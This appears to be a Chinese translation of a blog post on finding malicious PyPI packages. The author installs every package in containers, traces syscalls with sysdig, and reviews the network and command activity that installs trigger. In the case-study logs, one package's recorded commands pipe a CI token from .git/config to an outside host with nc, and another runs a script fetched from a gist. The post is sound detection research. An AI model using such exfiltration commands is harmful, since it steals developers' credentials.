在PyPI上尋找惡意程序包
大約一年前,Python軟件基金會(huì)(Python Software Foundation)發(fā)起了一個(gè)信息請(qǐng)求(RFI)活動(dòng),討論如何檢測(cè)上傳到PyPI的惡意程序包。無(wú)論是接管廢棄的程序包、在流行的庫(kù)中誤植域名(Typosquatting),還是使用憑證填充劫持程序包,很明顯,這是一個(gè)影響幾乎每一個(gè)程序包管理器的實(shí)際問題。誤植域名(Typosquatting),也稱作URL劫持,假URL等,是一種域名搶注的形式,常常會(huì)導(dǎo)致品牌劫持。這種劫持的方式通常有賴于用戶在瀏覽器中輸入網(wǎng)址時(shí),犯下諸如錯(cuò)誤拼寫等錯(cuò)誤。用戶一旦不小心輸入了一個(gè)錯(cuò)誤的網(wǎng)址,便有可能被導(dǎo)向任何一個(gè)其他的網(wǎng)址(比如說一個(gè)域名搶注者運(yùn)營(yíng)的網(wǎng)站)。
事實(shí)上,像PyPI這樣的程序包管理器是幾乎所有公司都依賴的關(guān)鍵基礎(chǔ)設(shè)施。關(guān)于這個(gè)主題,我可以寫好幾天,但是我現(xiàn)在只寫這篇xkcd就夠了。
這是我感興趣的領(lǐng)域,因此我對(duì)如何處理此問題提出了自己的想法。但還有一件事困擾我:考慮安裝程序包后會(huì)發(fā)生什么。
盡管對(duì)于某些設(shè)置活動(dòng)可能是必需的,但應(yīng)始終使用相關(guān)查看工具來查看諸如在pip安裝過程中建立網(wǎng)絡(luò)連接或執(zhí)行命令之類的事情,因?yàn)樗鼪]有給開發(fā)人員太多機(jī)會(huì)在糟糕的事情發(fā)生之前檢查代碼。
我想對(duì)此做進(jìn)一步的研究,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的每個(gè)程序包以尋找惡意活動(dòng)。
如何發(fā)現(xiàn)惡意庫(kù)
為了在安裝過程中運(yùn)行任意命令,開發(fā)者通常會(huì)將代碼添加到程序包中的setup.py文件中,你可以在此存儲(chǔ)庫(kù)中看到一些示例。
在更高層次上講,你可以執(zhí)行以下兩項(xiàng)操作來查找潛在的惡意依賴項(xiàng):你可以查看代碼中的不良內(nèi)容(靜態(tài)分析),或者危險(xiǎn)地安裝它們看看會(huì)發(fā)生什么(動(dòng)態(tài)分析)。
雖然靜態(tài)分析非常有趣(我發(fā)現(xiàn)了npm上使用手工grep的惡意程序包),但在這篇文章中,我將重點(diǎn)關(guān)注動(dòng)態(tài)分析。畢竟,動(dòng)態(tài)分析的能力更加強(qiáng)大,因?yàn)槟憧吹降氖菍?shí)際發(fā)生的事情,而不是只尋找可能發(fā)生的惡意行為。
那么我們到底在尋找什么呢?
重要事情如何完成
通常,任何重要的事情在發(fā)生時(shí)都由內(nèi)核完成。希望通過內(nèi)核執(zhí)行重要操作的普通程序(如pip)是通過使用syscall來完成的。使用syscall可以完成打開文件,建立網(wǎng)絡(luò)連接和執(zhí)行命令的所有操作!你可以點(diǎn)此了解到更多的信息。
這意味著,如果我們可以在安裝Python程序包期間系統(tǒng)調(diào)用,則可以查看是否發(fā)生了任何可疑事件。好處是,代碼的混淆程度無(wú)關(guān)緊要,我們將看到實(shí)際發(fā)生的情況。
需要注意的是,系統(tǒng)調(diào)用的想法并不是我想出來的。自2017年以來,亞當(dāng)·鮑德溫(Adam Baldwin) 等人一直在討論這個(gè)問題。喬治亞理工學(xué)院的研究人員發(fā)表了一篇很好的論文采用了同樣的方法。老實(shí)說,本文的大部分內(nèi)容只是試圖復(fù)制他們的想法。
因此,我們想要知道系統(tǒng)調(diào)用具體是如何做到這一點(diǎn)呢?
用Sysdig查看系統(tǒng)調(diào)用
Sysdig 是一個(gè)超級(jí)系統(tǒng)工具,比 strace、tcpdump、lsof 加起來還強(qiáng)大。可用來捕獲系統(tǒng)狀態(tài)信息,保存數(shù)據(jù)并進(jìn)行過濾和分析。使用 Lua 開發(fā),提供命令行接口以及強(qiáng)大的交互界面。
有許多旨在讓你查看系統(tǒng)調(diào)用的工具,本文中使用的是sysdig,因?yàn)樗忍峁┙Y(jié)構(gòu)化輸出,又提供了一些非常好的過濾功能。
為了實(shí)現(xiàn)這一點(diǎn),在啟動(dòng)安裝程序包的Docker容器時(shí),我還啟動(dòng)了一個(gè)sysdig進(jìn)程,該進(jìn)程僅監(jiān)控該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進(jìn)行的網(wǎng)絡(luò)讀/寫操作,因?yàn)槲也幌胗门c程序包下載相關(guān)的流量來填充日志。
通過捕獲系統(tǒng)調(diào)用的方法,我不得不解決另一個(gè)問題:如何獲取所有PyPI程序包的列表。
獲取Python包
幸運(yùn)的是,PyPI有一個(gè)稱為“簡(jiǎn)單API”的API,它也可以被認(rèn)為是“一個(gè)非常大的HTML頁(yè)面,其中包含指向每個(gè)程序包的鏈接”,它簡(jiǎn)單、干凈而且比我可能會(huì)寫的任何HTML都要好。
我們可以抓取這個(gè)頁(yè)面并使用pup解析所有鏈接,從而為我們提供約268000個(gè)程序包:
在這個(gè)測(cè)試中,我只關(guān)心每個(gè)程序包的最新版本。較舊的版本中可能埋藏著惡意版本的程序包,但AWS賬單不會(huì)自己承擔(dān)。
我最終得到了一個(gè)看起來像這樣的管道:
簡(jiǎn)而言之,我們將每個(gè)程序包名稱發(fā)送到一組EC2實(shí)例(我希望將來使用Fargate或其他東西,但我也不知道Fargate),從PyPI獲取一些關(guān)于程序包的元數(shù)據(jù),然后開始sysdig以及一系列的容器pip安裝程序包,系統(tǒng)調(diào)用和網(wǎng)絡(luò)流量被收集。然后,將所有數(shù)據(jù)發(fā)送到S3,以供future-Jordan處理。
這個(gè)過程如下所示:
查看結(jié)果
一旦完成上面的步驟,我將在一個(gè)S3存儲(chǔ)桶中存儲(chǔ)大約1TB的數(shù)據(jù),覆蓋大約245000個(gè)程序包。一些程序包沒有發(fā)布的版本,一些程序包具有各種處理錯(cuò)誤,但是這似乎是一個(gè)很好的示例。
以下是具體分析過程
我合并了元數(shù)據(jù)和輸出,得到如下的一系列JSON文件:
然后,我編寫了一系列腳本來開始匯總數(shù)據(jù),以試圖了解什么是良性的,什么是惡性的。讓我們深入研究一下這些輸出結(jié)果。
網(wǎng)絡(luò)請(qǐng)求
在安裝過程中,程序包需要建立網(wǎng)絡(luò)連接的原因有很多,他們可能需要下載合法的二進(jìn)制組件或其他資源,這可能是一種分析形式,或者可能正試圖從系統(tǒng)中竊取數(shù)據(jù)或憑據(jù)。
結(jié)果發(fā)現(xiàn),有460個(gè)數(shù)據(jù)程序包連接到109個(gè)獨(dú)立的主機(jī),就像上面提到的文章一樣,很多這樣的程序包都是由于程序包共享了網(wǎng)絡(luò)連接的依賴關(guān)系而產(chǎn)生的。可以通過映射依賴關(guān)系來過濾掉它們,但在本文的示范中我還沒有這樣做,這是安裝過程中看到的DNS請(qǐng)求明細(xì)。
命令執(zhí)行
像網(wǎng)絡(luò)連接一樣,在安裝過程中,程序包有合理的理由運(yùn)行系統(tǒng)命令。這可能是編譯本機(jī)二進(jìn)制文件,設(shè)置正確的環(huán)境等。
查看我們的樣本集,發(fā)現(xiàn)60725個(gè)程序包在安裝過程中正在執(zhí)行命令。就像網(wǎng)絡(luò)連接一樣,我們必須牢記,其中許多是下游依賴項(xiàng)(運(yùn)行命令的程序包)的結(jié)果。
有趣的程序包
正如預(yù)期的那樣,經(jīng)過深入研究結(jié)果,大多數(shù)網(wǎng)絡(luò)連接和命令似乎都是合法的。但也有一些奇怪行為的例子,我想列舉出來作為案例研究,以說明這種類型的分析是多么有用。
(1) i-am-malicious
一個(gè)名為i-am-malicious的程序包似乎是一個(gè)惡意程序包的概念驗(yàn)證,以下是一些有趣的細(xì)節(jié),使我們認(rèn)為該程序包值得研究:
- {
- "dns": [{
- "name": "gist.githubusercontent.com",
- "addresses": [
- "199.232.64.133"
- ]
- }]
- ],
- "files": [
- ...
- {
- "filename": "/tmp/malicious.py",
- "flag": "O_RDONLY|O_CLOEXEC"
- },
- ...
- {
- "filename": "/tmp/malicious-was-here",
- "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
- },
- ...
- ],
- "commands": [
- "python /tmp/malicious.py"
- ]
- }
我們已經(jīng)知道這里發(fā)生了什么,可以看到一個(gè)到gist.github.com的連接,正在執(zhí)行一個(gè)Python文件,正在創(chuàng)建一個(gè)名為/tmp/malicious-was-here的文件。當(dāng)然,這正是setup.py中所發(fā)生的事情:
正在討論的malicious.py只是向/tmp/malicious-was-here添加了一個(gè)“我曾在這里”類型消息,表明這確實(shí)是一個(gè)概念驗(yàn)證。
(2) maliciouspackage
另一個(gè)自稱為惡意程序的程序包則有創(chuàng)意地命名為maliciouspackage,它的攻擊能力要稍高一些。以下是相關(guān)輸出:
- {
- "dns": [{
- "name": "laforge.xyz",
- "addresses": [
- "34.82.112.63"
- ]
- }],
- "files": [
- {
- "filename": "/app/.git/config",
- "flag": "O_RDONLY"
- },
- ],
- "commands": [
- "sh -c apt install -y socat",
- "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
- "grep ci-token /app/.git/config",
- "nc laforge.xyz 5566"
- ]
- }
和前面一樣,根據(jù)輸出結(jié)果我們可以對(duì)正在發(fā)生的事情有了一個(gè)很好的了解。在本例中,程序包似乎從.git/config文件中提取了一個(gè)令牌,并將其上傳到laforge.xyz,我們發(fā)現(xiàn)確實(shí)是這樣:
(3) easyIoCtl
easyIoCtl程序包確實(shí)是一個(gè)有趣的程序包。它聲稱提供了“遠(yuǎn)離無(wú)聊的IO操作的抽象”,但我們看到下面的命令正在執(zhí)行:
結(jié)果很可疑,但并不是非常的有攻擊性。然而,這是一個(gè)展示跟蹤系統(tǒng)調(diào)用攻擊能力的完美示例。下面是該項(xiàng)目setup.py中的相關(guān)代碼:
有這么多的混淆,很難知道發(fā)生了什么。傳統(tǒng)的靜態(tài)分析可能會(huì)捕獲對(duì)exec的調(diào)用,但僅此而已。
要查看它在做什么,我們可以用print替換exec,結(jié)果如下:
這正是我們記錄的命令,表明即使代碼混淆也不會(huì)影響我們的結(jié)果,因?yàn)槲覀兪窃谙到y(tǒng)調(diào)用級(jí)別進(jìn)行監(jiān)控。
當(dāng)我們發(fā)現(xiàn)惡意程序包時(shí)會(huì)發(fā)生什么?
這個(gè)問題有必要簡(jiǎn)要討論一下,當(dāng)我們發(fā)現(xiàn)惡意程序包時(shí),我們能做些什么。要做的第一件事是通知PyPI開發(fā)者,讓他們可以得到這個(gè)程序包。這可以通過聯(lián)系security@python.org.1來實(shí)現(xiàn)
之后,我們可以使用BigQuery上的PyPI公共數(shù)據(jù)集查看程序包被下載了多少次。
這是一個(gè)示例查詢,用于查找在過去30天內(nèi)安裝了惡意軟件包的次數(shù):
運(yùn)行這個(gè)查詢可以查出它被下載400次以上:
maliciouspackage下載
總結(jié)
第一步只是初步了解了整個(gè)PyPI,通過查看數(shù)據(jù),我沒有發(fā)現(xiàn)有任何程序包做了明顯的有害活動(dòng),而且也沒有看起來惡意的名稱,雖然情況很樂觀,但是我總是有可能錯(cuò)過某些事情,或者將來會(huì)發(fā)生。如果你有興趣深入研究數(shù)據(jù),你可以在這里找到它。
接下來,我將設(shè)置一個(gè)Lambda函數(shù)來使用PyPI的RSS feed獲取最新的程序包更改,每個(gè)更新后的程序包都將經(jīng)過相同的處理,并在檢測(cè)到可疑活動(dòng)時(shí)發(fā)送警報(bào)。
我仍然不喜歡僅通過用戶 pip install就可以在用戶系統(tǒng)上運(yùn)行任意命令,我知道的大多數(shù)用例都是良性的,但帶來的風(fēng)險(xiǎn)也必須考慮。希望通過越來越多地監(jiān)控各種程序包管理器,我們可以在惡意活動(dòng)產(chǎn)生重大影響之前識(shí)別其跡象。